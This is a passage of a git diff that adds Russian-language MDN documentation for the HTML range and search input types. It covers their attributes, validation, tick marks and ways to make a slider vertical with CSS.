+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTMLElement("input")}} and the {{domxref("HTMLInputElement")}} interface that implements it.</li>
+ <li>{{interface("RadioNodeList")}}: the interface that describes a list of radio buttons</li>
+</ul>
diff --git a/files/ru/web/html/element/input/range/index.html b/files/ru/web/html/element/input/range/index.html
new file mode 100644
index 0000000000..b46af66650
--- /dev/null
+++ b/files/ru/web/html/element/input/range/index.html
@@ -0,0 +1,480 @@
+---
+title: <input type="range">
+slug: Web/HTML/Element/Input/range
+tags:
+  - контроллер
+  - слайдер
+translation_of: Web/HTML/Element/input/range
+---
+<div>{{HTMLRef("Input_types")}}</div>
+
+<p><span class="seoSummary">Элементы {{HTMLElement("input")}} с типом <strong><code>range</code></strong> позволяют пользователю определить числовое значение, которое должно быть в пределах указанного промежутка. Однако, точное значение должно быть не слишком важно. Обычно они представляет собой слайдер или контроллер, но не текстовое поле как {{HTMLElement('input/number', 'number')}}.</span> Так как этот виджет неточен, его не следует использовать, в случае, если важно установить точное значение .</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-range.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Исходный код данного примера расположен в GitHub репозитории. Если вы хотите внести внести изменения в привер, пожалуйста склонируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправте нам пул реквест.</p>
+
+<p>Если используемый браузер не поддерживает тип <code>range</code>, он будет отображаться как input<code>{{HTMLElement('input/text', 'text')}}.</code></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("Value")}}</strong></td>
+   <td>{{domxref("DOMString")}}, содержащий строковое представление выбранного числового значения; используйте {{domxref("HTMLInputElement.valueAsNumber", "valueAsNumber")}} чтобы получить значение {{jsxref("Number")}}.</td>
+  </tr>
+  <tr>
+   <td><strong>События</strong></td>
+   <td>{{event("change")}} и {{event("input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Поддерживаемые общие атрибуты</strong></td>
+   <td>{{htmlattrxref("autocomplete", "input")}}, {{htmlattrxref("list", "input")}}, {{htmlattrxref("max", "input")}}, {{htmlattrxref("min", "input")}}, and {{htmlattrxref("step", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>IDL атрибуты</strong></td>
+   <td><code>list</code>, <code>value</code>, и <code>valueAsNumber</code></td>
+  </tr>
+  <tr>
+   <td><strong>Методы</strong></td>
+   <td>{{domxref("HTMLInputElement.stepDown", "stepDown()")}} и {{domxref("HTMLInputElement.stepUp", "stepUp()")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Валидация">Валидация</h3>
+
+<p>Для этого поля нет доступного патерна валидации, но следующая валидация реализованны следующие проверки</p>
+
+<ul>
+ <li>Если значение {{htmlattrxref("value", "input")}} содержит что-то что не может быть конвертированно в число с плавающей точкой, произойдет ошибка некорректного ввода.</li>
+ <li>Значение не может быть меньше чем {{htmlattrxref("min", "input")}}. По умолчанию: 0.</li>
+ <li> Значение не может быть больше чем {{htmlattrxref("max", "input")}}. По умолчанию: 100.</li>
+ <li>Значение должно кратно {{htmlattrxref("step", "input")}}. По умолчанию: 1.</li>
+</ul>
+
+<h3 id="sect1"></h3>
+
+<p>Атрибут {{htmlattrxref("value", "input")}} содержит {{domxref("DOMString")}}, который содержит строковое представление выбранного числа. Значение никогда не является пустой строкой (<code>""</code>). Значение, по умолчанию, находится посередине, между указанными минимальным и максимальным значениями — если максимум оказывается меньше минимума, то значение по умолчанию приравнивается к значению атрибута <code>min</code>. Алгоритм определения значения по умолчанию:</p>
+
+<pre class="brush: js notranslate">defaultValue = (rangeElem.max &lt; rangeElem.min) ? rangeElem.min
+               : rangeElem.min + (rangeElem.max - rangeElem.min)/2;</pre>
+
+<p>Если предпринята попытка установить значение меньше минимального, то оно примет значение атрибута min. Аналогично, попытка установить значение больше максимального, приведет к установлению значения равного атрибуту max.</p>
+
+<h2 id="Дополнительные_атрибуты">Дополнительные атрибуты</h2>
+
+<p>В дополнение к атрибутам, общим для всех элементов {{HTMLElement("input")}}, range инпуты предлагают следующие атрибуты:</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Attribute</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("list")}}</code></td>
+   <td>id элемента &lt;datalist&gt;, который сожержит предопределенные значение (не обязательно)</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("max")}}</code></td>
+   <td>Максимальное допустимое значение</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("min")}}</code></td>
+   <td>Минимальное допустимое значение</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("step")}}</code></td>
+   <td>Шаговый, используемый для пользовательского интерфейса и для проверки</td>
+  </tr>
+ </tbody>
+</table>
+
+<p id="htmlattrdeflist">{{page("/en-US/docs/Web/HTML/Element/input/text", "list", 0, 1, 2)}}</p>
+
+<p>Смотрите <a href="https://wiki.developer.mozilla.org/ru/docs/Web/HTML/Element/Input/range$edit#A_range_control_with_hash_marks">управление диапазоном с помощью решетки</a> ниже, для примера того, как параметры диапазона обозначаются в поддерживаемых браузерах.</p>
+
+<h3 id="htmlattrdefmax">{{htmlattrdef("max")}}</h3>
+
+<p>Это значение должно быть больше или равно значению атрибута  <code>min</code>.</p>
+
+<h3 id="htmlattrdefmin">{{htmlattrdef("min")}}</h3>
+
+<p>Наименьшее значение в диапазоне допустимых значений. Если {{htmlattrxref("value", "input")}}, введенный в элемент, меньше этого значения, то элемент не проходит  <a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">проверку ограничения</a>. Если значение атрибута <code>min</code> не является числом, то элемент не имеет максимального значения.</p>
+
+<p>Это значение должно быть меньше или равно значению атрибута <code>max</code>.</p>
+
+<h3 id="htmlattrdefstep">{{htmlattrdef("step")}}</h3>
+
+<p>{{page("/en-US/docs/Web/HTML/Element/input/number", "step-include")}}</p>
+
+<p>По умолчанию шаг для инпута с типом <code>range</code> равен 1, допустим ввод только целых чисел, <em>если </em> база шага не является целым; например, если вы установили <code>min</code> на -10 и <code>value</code> на 1.5, то <code>step</code>  1 позволит только такие значения как 1.5, 2.5, 3.5,... в положительном направлении и -0.5, -1.5, -2.5,... в отрицательном направлении.</p>
+
+<h3 id="Не_стандартные_атрибуты">Не стандартные атрибуты</h3>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Attribute</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("orient")}}</code></td>
+   <td>Устанавливает ориентацию слайдера. <strong>Firefox only.</strong></td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+ <dt>{{htmlattrdef("orient")}} {{non-standard_inline}}</dt>
+ <dd id="orient-include">Похоже на  -moz-orient не стандартное CSS свойство влияющее на {{htmlelement('progress')}} и{{htmlelement('meter')}} элемены, <code>orient</code> атрибут определяем ориентацию слайдера. Значение <code>horizontal</code>, значет что слайдер быдет отображен горизонтально, а <code>vertical</code>- что вертикально .</dd>
+</dl>
+
+<div class="blockIndicator note">
+<p>Note: Следующие атрибуты не применимы: <code>accept</code>, <code>alt</code>, <code>checked</code>, <code>dirname</code>, <code>formaction</code>, <code>formenctype</code>, <code>formmethod</code>, <code>formnovalidate</code>, <code>formtarget</code>, <code>height</code>, <code>maxlength</code>, <code>minlength</code>, <code>multiple</code>, <code>pattern</code>, <code>placeholder</code>, <code>readonly</code>, <code>required</code>, <code>size</code>, <code>src</code>, и <code>width</code>. Каждый из них будет проигнорирован в случаее употребления.</p>
+</div>
+
+<h2 id="Examples">Examples</h2>
+
+<p>Пока тип <code>number</code> позволяет пользователям вводить число с дополнительными ограничениями, заставляя их значения находиться между максимальным и минимальным, он требует, чтобы они вводили определенное значение. Инпут с типом <code>range</code> позволяет вам запрашивать у пользователя значение в тех случаях, когда пользователь не может даже знать - каково выбранное конкретное числовое значение.</p>
+
+<p>Несколько примеров основный ситуаций, в которых инпуты с range используются:</p>
+
+<ul>
+ <li>Аудио-контроллеры громкости и баланса, или контроллеры фильтра.</li>
+ <li>Контроллеры настройки цвета, такие как цветовые каналы, прозрачность, яркость, и т.д.</li>
+ <li>Контроллеры игровой настройки, такие как  сложность, дальность видимости, размер мира и т.д.</li>
+ <li>Длина пароля для сгенерированных паролей менеджера паролей.</li>
+</ul>
+
+<p>Как правило, если пользователь в большей степени интересуется процентным значением между минимумом и максимумом, нежели реальным значением, range инпут является отличным решением. Например, в случае с контролем громкости домашнего стерео, обычно пользователь думает "установить громкости наполовину максимума" вместо "установить громкость на 0.5".</p>
+
+<h3 id="Указание_минимума_и_максимума">Указание минимума и максимума</h3>
+
+<p>По умолчанию, минимум равен 0, а максимум равен 100. Если вас это не устраивает, вы можете с легкостью указать другие границы, изменив значения атрибутов {{htmlattrxref("min", "input")}} и/или {{htmlattrxref("max", "input")}}. Они могут быть принимать любые значения с плавающей точкой.</p>
+
+<p>Например, указать диапазон значений между -10 и 10, вы можете, используя:</p>
+
+<pre class="brush: html notranslate">&lt;input type="range" min="-10" max="10"&gt;</pre>
+
+<p>{{EmbedLiveSample("Specifying_the_minimum_and_maximum", 600, 40)}}</p>
+
+<h3 id="Настройка_детализации_значения">Настройка детализации значения</h3>
+
+<p>По умолчанию, степень детализации равна 1, тем самым показывая, что значение всегда является целым числом. Вы можете изменить атрибут {{htmlattrxref("step")}} контроля степени детализации. Например, если вам нужно значение между 5 и 10, с точностью до двух знаков после запятой, вы должны установить значение <code>step</code> на 0.01:</p>
+
+<div id="Granularity_sample1">
+<pre class="brush: html notranslate">&lt;input type="range" min="5" max="10" step="0.01"&gt;</pre>
+
+<p>{{EmbedLiveSample("Granularity_sample1", 600, 40)}}</p>
+</div>
+
+<p>Если вы хотите принять любое значение, независимо от разрядности, вы можете указать значение <code>any</code> для атрибута {{htmlattrxref("step", "input")}}:</p>
+
+<div id="Granularity_sample2">
+<pre class="brush: html notranslate">&lt;input type="range" min="0" max="3.14" step="any"&gt;</pre>
+
+<p>{{EmbedLiveSample("Granularity_sample2", 600, 40)}}</p>
+
+<p>Этот пример позволяет пользователю выбрать любое значение между 0 и π без ограничений на разрядность.</p>
+</div>
+
+<h3 id="Добавление_хэш-меток_и_лейблов">Добавление хэш-меток и лейблов</h3>
+
+<p>Спецификация HTML дает браузерам некоторую гибкость при представлении диапазонных контроллеров. Нигде эта гибкость не проявляется больше, чем в области хэш-меток и, в меньшей степени, лейблов. Спецификация описывает как добавлять кастомные точки контроллера диапазона, используя атрибут {{htmlattrxref("list", "input")}} и элемент {{HTMLElement("datalist")}}, но не имеет требований или рекомендаций по стандартизации хэш-меток и лейблов по длине контроллера.</p>
+
+<h4 id="Макеты_контроллера_диапазона">Макеты контроллера диапазона</h4>
+
+<p>Так как браузеры имеют эту гибкость, и на сегодняшний день ни один из них не поддерживает все возможности, определенные HTML, представляем несколько макетов, показывающих как вы можете получить на macOS в браузере, который их поддерживает.</p>
+
+<h5 id="Недекорированный_контроллер_даипазона">Недекорированный контроллер даипазона</h5>
+
+<p>Этот результат вы получите, если не укажите атрибут {{htmlattrxref("list", "input")}}, или браузер не будет его поддерживать.</p>
+
+<table class="fullwidth standard-table">
+ <tbody>
+  <tr>
+   <th>HTML</th>
+   <th>Screenshot</th>
+  </tr>
+  <tr>
+   <td>
+    <pre class="brush: html notranslate">
+&lt;input type="range"&gt;</pre>
+   </td>
+   <td><img alt="Screenshot of a plain slider control on macOS" src="https://mdn.mozillademos.org/files/14989/macslider-plain.png" style="height: 28px; width: 184px;"></td>
+  </tr>
+ </tbody>
+</table>
+
+<h5 id="Контроллер_диапазона_с_хэш-метками">Контроллер диапазона с хэш-метками</h5>
+
+<p>Контроллер диапазона, использующий атрибут <code>list</code>, указывающий ID {{HTMLElement("datalist")}}, который определяет серию хэш-меток на контроллере. Их одиннадцать, одна на 0% и на каждой отметки 10%. Каждая точка представлена с помощью элемента {{HTMLElement("option")}} с его набором {{htmlattrxref("value", "option")}} значений диапазона, при котором должна быть нарисована метка.</p>
+
+<table class="fullwidth standard-table">
+ <tbody>
+  <tr>
+   <th>HTML</th>
+   <th>Screenshot</th>
+  </tr>
+  <tr>
+   <td>
+    <pre class="brush: html notranslate">
+&lt;input type="range" list="tickmarks"&gt;
+
+&lt;datalist id="tickmarks"&gt;
+  &lt;option value="0"&gt;
+  &lt;option value="10"&gt;
+  &lt;option value="20"&gt;
+  &lt;option value="30"&gt;
+  &lt;option value="40"&gt;
+  &lt;option value="50"&gt;
+  &lt;option value="60"&gt;
+  &lt;option value="70"&gt;
+  &lt;option value="80"&gt;
+  &lt;option value="90"&gt;
+  &lt;option value="100"&gt;
+&lt;/datalist&gt;
+</pre>
+   </td>
+   <td><img alt="Screenshot of a plain slider control on macOS" src="https://mdn.mozillademos.org/files/14991/macslider-ticks.png" style="height: 28px; width: 184px;"></td>
+  </tr>
+ </tbody>
+</table>
+
+<h5 id="Контроллер_диапазона_с_хэш-метками_и_лейблами">Контроллер диапазона с хэш-метками и лейблами</h5>
+
+<p>Вы можете добавить лейблы в свой контроллер диапазонов, добавив атрибут {{htmlattrxref("label", "option")}} элементам {{HTMLElement("option")}}, соответствующим значениям, на которых вы бы хотели видеть лейблы.</p>
+
+<table class="fullwidth standard-table">
+ <tbody>
+  <tr>
+   <th>HTML</th>
+   <th>Screenshot</th>
+  </tr>
+  <tr>
+   <td>
+    <pre class="brush: html notranslate">
+&lt;input type="range" list="tickmarks"&gt;
+
+&lt;datalist id="tickmarks"&gt;
+  &lt;option value="0" label="0%"&gt;
+  &lt;option value="10"&gt;
+  &lt;option value="20"&gt;
+  &lt;option value="30"&gt;
+  &lt;option value="40"&gt;
+  &lt;option value="50" label="50%"&gt;
+  &lt;option value="60"&gt;
+  &lt;option value="70"&gt;
+  &lt;option value="80"&gt;
+  &lt;option value="90"&gt;
+  &lt;option value="100" label="100%"&gt;
+&lt;/datalist&gt;
+</pre>
+   </td>
+   <td><img alt="Screenshot of a plain slider control on macOS" src="https://mdn.mozillademos.org/files/14993/macslider-labels.png" style="height: 44px; width: 184px;"></td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Примечание</strong>: В настоящее время ни один браузер полностью не поддерживает эти возможности. Firefox не поддрживает хэш-метки и лейблы, например, в то время как Chrome поддерживает хэш-метки, но не поддерживает лейблы. Версия 66 (66.0.3359.181) Chrome поддерживает лейблы, но тэг {{htmlelement("datalist")}} должен быть стилизован с помощью  CSS, так как его свойство {{cssxref("display")}} по умолчанию -  <code>none</code>, тем самым скрывая лейблы.</p>
+</div>
+
+<h3 id="Изменение_ориентации">Изменение ориентации</h3>
+
+<p>По умолчанию, если браузер отображает инпут диапозона как слайдер, он отобразит его так чтоб ползунок ездил в право и в лево. Когда поддержка браузерами будет реализованно, можно будет делать слайдер вертикальным, так чтобы ползунок мог ездить вверх и вниз. Ниодин из наиболее используемых браузеров не имплементировал это пока. (Firefox {{bug(981916)}}, <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=341071">Chrome bug 341071</a>). также, возможно, <a href="https://github.com/whatwg/html/issues/4177">следующий баг под вопросом</a>.</p>
+
+<p>В реальности, мы можем сделать слайдер вертикальным используя CSS трансформации, или применяя уникальный метод для каждого браузера в отдельности, включая: настройки {{cssxref('appearance')}}  для <code>slider-vertical</code>, использование нестандартной ориентации <code>orient</code> в Firefox,или изменение text direction для Internet Explorer и Edge</p>
+
+<p>Рассмотрим контроллер диапазона:</p>
+
+<pre class="notranslate">&lt;input type="range" id="volume" min="0" max="11" value="7" step="1"&gt;</pre>
+
+<p>{{EmbedLiveSample("Orientation_sample1", 200, 200, "https://mdn.mozillademos.org/files/14983/Orientation_sample1.png")}}</p>
+
+<p>Это горизонтальный контроллер (по крайне мере на большинстве основных браузеров, другие могут отличаться).</p>
+
+<h3 id="Standards">Standards</h3>
+
+<p>Следуюя спецификации, сделать его вертикальным также просто как добавить CSS, чтобы изменить размеры контроллера, чтобы его высота оказалась больше ширины:</p>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="notranslate">#volume {
+  height: 150px;
+  width: 50px;
+}</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="notranslate">&lt;input type="range" id="volume" min="0" max="11" value="7" step="1"&gt;</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{EmbedLiveSample("Orientation_sample2", 200, 200, "https://mdn.mozillademos.org/files/14985/Orientation_sample2.png")}}</p>
+
+<p>К сожалению, большенство браузеров сейчас не поддерживают вертикальные контроллы напрямую.</p>
+
+<h3 id="transform_rotate-90deg">transform: rotate(-90deg)</h3>
+
+<p>Но вы, все же, можете сделать вертикльный контролл используя горизонтальный контролл. Самый простой способ - использовать CSS: применяя {{cssxref("transform")}} для поворото элемента на 90 градусов. Посмотрим:</p>
+
+<div id="Orientation_sample3">
+<h4 id="HTML_2">HTML</h4>
+
+<p>В HTML нужно добавить обертку вокруг {{HTMLElement("input")}}  - {{HTMLElement("div")}}, что позволит нам исправить макет после выполнения трансформации (т.к. трансформация автоматически не влияет на макет страницы):</p>
+
+<pre class="brush: html notranslate">&lt;div class="slider-wrapper"&gt;
+  &lt;input type="range" min="0" max="11" value="7" step="1"&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<p>Теперь нам нужно немного CSS. Во-первых, это CSS для самой обертки; это указание дисплея и размеров для правильного расположения на странице; по сути, он резервирует область страницы для слайдера, так, чтобы можно было поместить повернутый слайдер в зарезервированном пространстве, не создавая беспорядка.</p>
+
+<pre class="brush: css notranslate">.slider-wrapper {
+  display: inline-block;
+  width: 20px;
+  height: 150px;
+  padding: 0;
+}
+</pre>
+
+<p>Затем информация о стиле элемента <code>&lt;input&gt;</code> в зарезервированном пространстве:</p>
+
+<pre class="brush: css notranslate">.slider-wrapper input {
+  width: 150px;
+  height: 20px;
+  margin: 0;
+  transform-origin: 75px 75px;
+  transform: rotate(-90deg);
+}</pre>
+
+<p>Размеры контроллера это набор из 150 пикселей длины и 20 пикселей высоты. Маржинги установлены на  0 и {{cssxref("transform-origin")}} смещается в середину пространства, на котором вращается слайдер; поскольку слайдер имеет ширину 150 пикселей, он вращается через прямоугольник по 150 пикселей с каждой стороны. Смещение начала координат на 75px по каждой оси означает, что мы будем вращаться вокруг центра этого пространства. Наконец, мы поварачиваем против часовой стрелки на 90°. Результат: инпут range, который вращается таким образом, что максимальное значение находится сверху, а минимальное снизу.</p>
+
+<p>{{EmbedLiveSample("Orientation_sample3", 200, 200, "https://mdn.mozillademos.org/files/14987/Orientation_sample3.png")}}</p>
+
+<h3 id="appearance_property">appearance property</h3>
+
+<p>Свойство {{cssxref('appearance')}} имеет нестандартное значение <code>slider-vertical</code> , которое делает слайдер вертикальным.</p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<p>Используем тот же HTML что и в предыдущем примере:</p>
+
+<pre class="notranslate">&lt;input type="range" min="0" max="11" value="7" step="1"&gt;
+</pre>
+
+<h4 id="CSS_3">CSS</h4>
+
+<p>Берем только те инпуты что иеют тип range:</p>
+
+<pre class="notranslate">input[type="range"] {
+  -webkit-appearance: slider-vertical;
+}</pre>
+
+<p>{{EmbedLiveSample("appearance_property", 200, 200)}}</p>
+
+<h3 id="orient_attribute">orient attribute</h3>
+
+<p>В Firefox, реализованно нестандартное свойство <code>orient</code>.</p>
+
+<h4 id="HTML_4">HTML</h4>
+
+<p>Используем тот же HTML что и в предыдущем примере и добавляем атрибут со значением <code>vertical</code>:</p>
+
+<pre class="notranslate">&lt;input type="range" min="0" max="11" value="7" step="1" orient="vertical"&gt;
+</pre>
+
+<p>{{EmbedLiveSample("orient_attribute", 200, 200)}}</p>
+
+<h3 id="writing-mode_bt-lr">writing-mode: bt-lr;</h3>
+
+<p>Свойство {{cssxref('writing-mode')}} может быть использовано для специальных эфектов </p>
+
+<h4 id="HTML_5">HTML</h4>
+
+<p>Используем тот же HTML что и в предыдущем примере:</p>
+
+<pre class="notranslate">&lt;input type="range" min="0" max="11" value="7" step="1"&gt;
+</pre>
+
+<h4 id="CSS_4">CSS</h4>
+
+<p>Берем только те инпуты что иеют тип range, меняем writing mode с default на <code>bt-lr</code>, или bottom-to-top и left-to-right:</p>
+
+<pre class="notranslate">input[type="range"] {
+  writing-mode: bt-lr;
+}</pre>
+
+<p>{{EmbedLiveSample("writing-mode_bt-lr", 200, 200)}}</p>
+
+<h3 id="Все_вместе">Все вместе</h3>
+
+<p>Каждый из вышеперечисленных примеров работает в своем браузере, мы попробуем обьединить все вместе чтоб добится кроссбраузерности решения:</p>
+
+<h4 id="HTML_6">HTML</h4>
+
+<p>Оставим <code>orient</code> атрибут  со значением <code>vertical</code> для Firefox:</p>
+
+<pre class="notranslate">&lt;input type="range" min="0" max="11" value="7" step="1" orient="vertical"&gt;
+</pre>
+
+<h4 id="CSS_5">CSS</h4>
+
+<p>Берем только те инпуты что иеют тип range, меняем writing mode с default на <code>bt-lr</code>, или bottom-to-top и left-to-right, для Edge и Internet Explorer, и обавляем <code>-webkit-appearance: slider-vertical</code> для всех -webkit-based браузеров:</p>
+
+<pre class="notranslate">input[type="range"] {
+  writing-mode: bt-lr;
+  -webkit-appearance: slider-vertical;
+}</pre>
+
+<p>{{EmbedLiveSample("Putting_it_all_together", 200, 200)}}</p>
+</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#range-state-(type=range)', '&lt;input type="range"&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Первое определение</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'sec-forms.html#range-state-typerange', '&lt;input type="range"&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Первое определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("html.elements.input.input-range")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Forms">HTML Forms</a></li>
+ <li>{{HTMLElement("input")}} и интерфейс {{domxref("HTMLInputElement")}}, на котором он основан</li>
+ <li><code><a href="/en-US/docs/Web/HTML/Element/input/number">&lt;input type="number"&gt;</a></code></li>
+ <li>{{domxref('validityState.rangeOverflow')}} и{{domxref('validityState.rangeUnderflow')}}</li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Web_Audio_API/Controlling_multiple_parameters_with_ConstantSourceNode">Controlling multiple parameters with ConstantSourceNode</a></li>
+ <li><a href="https://css-tricks.com/sliding-nightmare-understanding-range-input">Styling the range element</a></li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Forms/Property_compatibility_table_for_form_controls">Compatibility of CSS properties</a></li>
+</ul>
diff --git a/files/ru/web/html/element/input/search/index.html b/files/ru/web/html/element/input/search/index.html
new file mode 100644
index 0000000000..a4307a573b
--- /dev/null
+++ b/files/ru/web/html/element/input/search/index.html
@@ -0,0 +1,467 @@
+---
+title: <input type="search">
+slug: Web/HTML/Element/Input/search
+translation_of: Web/HTML/Element/input/search
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">{{HTMLElement("input")}} элементы с типом <code><strong>search</strong></code> это текстовые поля разработанные для ввода пользователем поисковых запросов. Функциональность идентична элементам с типом <code><a href="/en-US/docs/Web/HTML/Element/input/text">text</a></code>, но может отличаться стилизация за счет {{Glossary("user agent")}}, а также наличием специального <strong>не стандартизированного</strong> события </span>{{domxref("HTMLElement/search_event", "onsearch")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-search.html", "tabbed-standard")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("Value")}}</strong></td>
+   <td>A {{domxref("DOMString")}} representing the value contained in the search field.</td>
+  </tr>
+  <tr>
+   <td><strong>Events</strong></td>
+   <td>{{domxref("HTMLElement/change_event", "change")}} and {{domxref("HTMLElement/input_event", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Supported Common Attributes</strong></td>
+   <td>{{htmlattrxref("autocomplete", "input")}}, {{htmlattrxref("list", "input")}}, {{htmlattrxref("maxlength", "input")}}, {{htmlattrxref("minlength", "input")}}, {{htmlattrxref("pattern", "input")}}, {{htmlattrxref("placeholder", "input")}}, {{htmlattrxref("required", "input")}}, {{htmlattrxref("size", "input")}}.</td>
+  </tr>
+  <tr>
+   <td><strong>IDL attributes</strong></td>
+   <td><code>value</code></td>
+  </tr>
+  <tr>
+   <td><strong>Methods</strong></td>
+   <td>{{domxref("HTMLInputElement.select", "select()")}}, {{domxref("HTMLInputElement.setRangeText", "setRangeText()")}}, {{domxref("HTMLInputElement.setSelectionRange", "setSelectionRange()")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Value">Value</h2>
+
+<p>The {{htmlattrxref("value", "input")}} attribute contains a {{domxref("DOMString")}} representing the value contained in the search field. You can retrieve this using the {{domxref("HTMLInputElement.value")}} property in JavaScript.</p>
+
+<pre class="brush: js">searchTerms = mySearch.value;
+</pre>
+
+<p>If no validation constraints are in place for the input (see {{anch("Validation")}} for more details), the value can be any text string or an empty string (<code>""</code>).</p>
+
+<h2 id="Additional_attributes">Additional attributes</h2>
+
+<p>In addition to the attributes that operate on all {{HTMLElement("input")}} elements regardless of their type, search field inputs support the following attributes:</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Attribute</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("list")}}</code></td>
+   <td>The id of the &lt;datalist&gt; element that contains the optional pre-defined autocomplete options</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("maxlength")}}</code></td>
+   <td>The maximum number of characters the input should accept</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("minlength")}}</code></td>
+   <td>The minimum number of characters long the input can be and still be considered valid</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("pattern")}}</code></td>
+   <td>A regular expression the input's contents must match in order to be valid</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("placeholder")}}</code></td>
+   <td>An exemplar value to display in the input field whenever it is empty</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("readonly")}}</code></td>
+   <td>A Boolean attribute indicating whether or not the contents of the input should be read-only</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("size")}}</code></td>
+   <td>A number indicating how many characters wide the input field should be</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("spellcheck")}}</code></td>
+   <td>Controls whether or not to enable spell checking for the input field, or if the default spell checking configuration should be used</td>
+  </tr>
+ </tbody>
+</table>
+
+<p id="htmlattrdeflist">{{page("/en-US/docs/Web/HTML/Element/input/text", "list", 0, 1, 2)}}</p>
+
+<h3 id="htmlattrdefmaxlength">{{htmlattrdef("maxlength")}}</h3>
+
+<p>The maximum number of characters (as UTF-16 code units) the user can enter into the search field. This must be an integer value 0 or higher. If no <code>maxlength</code> is specified, or an invalid value is specified, the search field has no maximum length. This value must also be greater than or equal to the value of <code>minlength</code>.</p>
+
+<p>The input will fail <a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">constraint validation</a> if the length of the text entered into the field is greater than <code>maxlength</code> UTF-16 code units long.</p>
+
+<h3 id="htmlattrdefminlength">{{htmlattrdef("minlength")}}</h3>
+
+<p>The minimum number of characters (as UTF-16 code units) the user can enter into the search field. This must be a non-negative integer value smaller than or equal to the value specified by <code>maxlength</code>. If no <code>minlength</code> is specified, or an invalid value is specified, the search input has no minimum length.</p>
+
+<p>The search field will fail <a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">constraint validation</a> if the length of the text entered into the field is fewer than <code>minlength</code> UTF-16 code units long.</p>
+
+<h3 id="htmlattrdefpattern">{{htmlattrdef("pattern")}}</h3>
+
+<p>{{page("/en-US/docs/Web/HTML/Element/input/text", "pattern-include")}}</p>
+
+<p>See the section {{anch("Specifying a pattern")}} for details and an example.</p>
+
+<p>{{page("/en-US/docs/Web/HTML/Element/input/text", "placeholder", 0, 1, 2)}}</p>
+
+<p>{{page("/en-US/docs/Web/HTML/Element/input/text", "readonly", 0, 1, 2)}}</p>
+
+<p>{{page("/en-US/docs/Web/HTML/Element/input/text", "size", 0, 1, 2)}}</p>
+
+<h3 id="htmlattrdefspellcheck">{{htmlattrdef("spellcheck")}}</h3>
+
+<p>{{page("/en-US/docs/Web/HTML/Element/input/text", "spellcheck-include")}}</p>
+
+<h2 id="Non-standard_attributes">Non-standard attributes</h2>
+
